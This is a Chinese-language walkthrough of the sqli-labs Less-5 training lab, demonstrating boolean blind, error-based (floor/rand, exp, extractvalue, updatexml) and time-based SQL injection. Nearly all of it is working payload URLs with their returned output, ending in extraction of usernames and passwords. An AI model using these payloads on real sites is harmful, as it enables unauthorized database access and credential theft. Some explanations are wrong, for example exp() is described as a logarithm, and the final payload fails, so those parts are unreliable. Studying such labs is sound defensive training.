语句为:
http://localhost/sqli-labs-master/Less-5/?id=1' and left(database(),1)='a'#
left(database(),1)>’s’ //left()函数
left(a,b)从左侧截取a的前b位
表示从数据库名字第一个字母是否等于a,是则返回true
爆数据表:
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='e'--+
得到第一个表第一个字母为e,可采用二分法尝试。
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),2)='em'--+
举一反三得到第一个表为emails。那怎么得到第二个表名称呢?我们采用limit()函数:
limit(m,n):从m开始取n条记录
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),1)>'a'--+
一直得到users表
之后继续得到password与username
语句:
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101--+
substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值
爆数据表:
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101--+
如何获取第一个表的第二位字符呢?
这里我们已经了解了substr()函数,这里使用substr(,2,1)即可。
其他同上,举一反三即可。
因为本人不经常用此方法,此项不讲,可参考讲解
语句:
http://localhost/sqli-labs-master/Less-5/?id=1' and ord(mid((select ifnull(cast(database() as char),0x20)from security.users order by id limit 0,1),1,1))>98--+
mid(a,b,c)从位置b开始,截取a字符串的c位
Ord()函数同ascii(),将字符转为ascii值
用法与ascii相似,举一反三即可。
基于报错的SQL盲注------构造payload让信息通过错误提示回显出来
利用concat()floor(x)rand()函数进行报错注入,语法如下:
union select 1,count(*),concat(0x3a,0x3a,(user()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+
concat:计数
详细解释:https://blog.csdn.net/tbkken/article/details/8173074
a是concat(0x3a,0x3a,(user()),0x3a,0x3a,floor(rand()*2))的别名
函数 | 解释 |
---|---|
FLOOR(x) | 返回小于或等于x的最大整;SELECT FLOOR(1.5) – 返回1 |
RAND() | 返回0->1的随机数: SELECT RAND() --0.93099315644334 |
RAND(x) | 返回0->1的随机数,x值相同时返回的随机数相同: SELECT RAND(2) --1.5865798029924 |
group by:进行分组处理group by详解
以天书less-5来说明:
基础知识此处不讲,查看用户:
http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
回显:
Duplicate entry ‘::root@localhost::1’ for key 'group_key’
表明该数据库用户名为:root@localhost
爆数据库:
http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
回显:
Duplicate entry ‘::security::1’ for key 'group_key’
表明该数据库名为:security
爆数据表:
http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
此时回显:Subquery returns more than 1 row
因为回显超过一行,导致回显失败,此时我们运用limit(start,length)
爆数据库第一个表:
http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
回显:Duplicate entry ‘::emails::1’ for key 'group_key’
表明数据库第一个表为emails,举一反三一直查寻到:
Duplicate entry ‘::users::1’ for key 'group_key’
查到users表,爆users表的第一列
http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
回显:Duplicate entry ‘::USER::1’ for key 'group_key’
这里就不重复造轮子了,一直报列,爆出username与password列
Duplicate entry ‘::username::1’ for key ‘group_key’
Duplicate entry ‘::password::1’ for key 'group_key’
报username与password数据段:
http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select concat (username,' ',password) from users limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
完成注入。
详细原理参考大佬文章
Exp()为以e为底的对数函数;版本在5.5.5及其以上
以题作为典型理解尝试。仍然为天书less-5
爆数据库:
http://localhost/sqli-labs-master/Less-5/?id=1' union select (exp(~(select * from(select database())a))),2,3--+
爆数据表:
http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a))--+
爆列:
http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,exp(~(select * from(select column_name from information_schema.columns where table_name='users' limit 0,1)a))--+
爆字段:
http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,exp(~(select * from(select concat (username,' ',password) from users limit 0,1)a))--+
详细原理参考大佬文章
溢出一定要版本在5.5.5及其以上,不然不会回显出
以题作为典型理解尝试。仍然为天书less-5
http://localhost/sqli-labs-master/Less-5/?id=1' union select (!(select * from (select database())x) - ~0),2,3--+
更改都如exp一般,这里就不重复造轮子了。
(1)extractvalue()
(2)updatexml()
名称 | 描述 |
---|---|
ExtractValue() | 使用XPath表示法从XML字符串中提取值 |
UpdateXML() | 返回替换的XML片段 |
ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径
例如:SELECT ExtractValue(’’, ‘/a/b’); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target:: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容
extractvalue()进行注入:
http://localhost/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
回显:
XPATH syntax error: '~security~'
http://localhost/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
回显:
XPATH syntax error: '~emails,referers,uagents,users~'
重复造轮子就好。
updatexml()进行注入:
http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
回显:
XPATH syntax error: '~security~'
重复造轮子就好。
注意:extractvalue()中的xml_frag,updatexml()中的xml_target与new_xml参数可以任意值,不表实际含义,仅仅占用位,本人为了方便直接填了1
语句为:
http://localhost/sqli-labs-master/Less-5/?id=1' and If(ascii(substr((select database()),1,1))=101,1,sleep(5))--+
sleep() :延时语句
if(condition,ture,fales) :条件语句,如果condition为true则执行ture语句,反之执行fales语句
ascii() :转换成ascii
substr(“string”,strart,length) :mid()也一样从哪开始取几位
爆数据库:
http://localhost/sqli-labs-master/Less-5/?id=1' and If(ascii(substr((select database()),1,1))=115,1,sleep(5))--+
当database的第一个字母ascii码=115时,回显正常,可以采用二分法
爆表单:
http://localhost/sqli-labs-master/Less-5/?id=1' and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,1,sleep(5))--+
那如何获取第二个表呢?思考一下!
这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0个开始,获取第一个。那要获取第二个是不是就是limit 1,1!
其余与布尔盲注ascii运用相似。
语句:
http://localhost/sqli-labs-master/Less-5/?id=1' union select(if(substr(current,1,1)=char(115),benchmark(10000000,encode('msg','by 5 second')),null)),2,3 from (select database() as current) as tb1--+
运行encode(‘msg’,‘by 5 second’)操作50000000次
不知道为什么在爆数据表时报错。。。崩溃
http://localhost/sqli-labs-master/Less-5/?id=1' union select(if(substr(current,1,1)=char(115),benchmark(10000000,encode('msg','by 5 second')),null)),2,3 from (select table_name from information_schema.tables where table_schema=database() as current) as tb1--+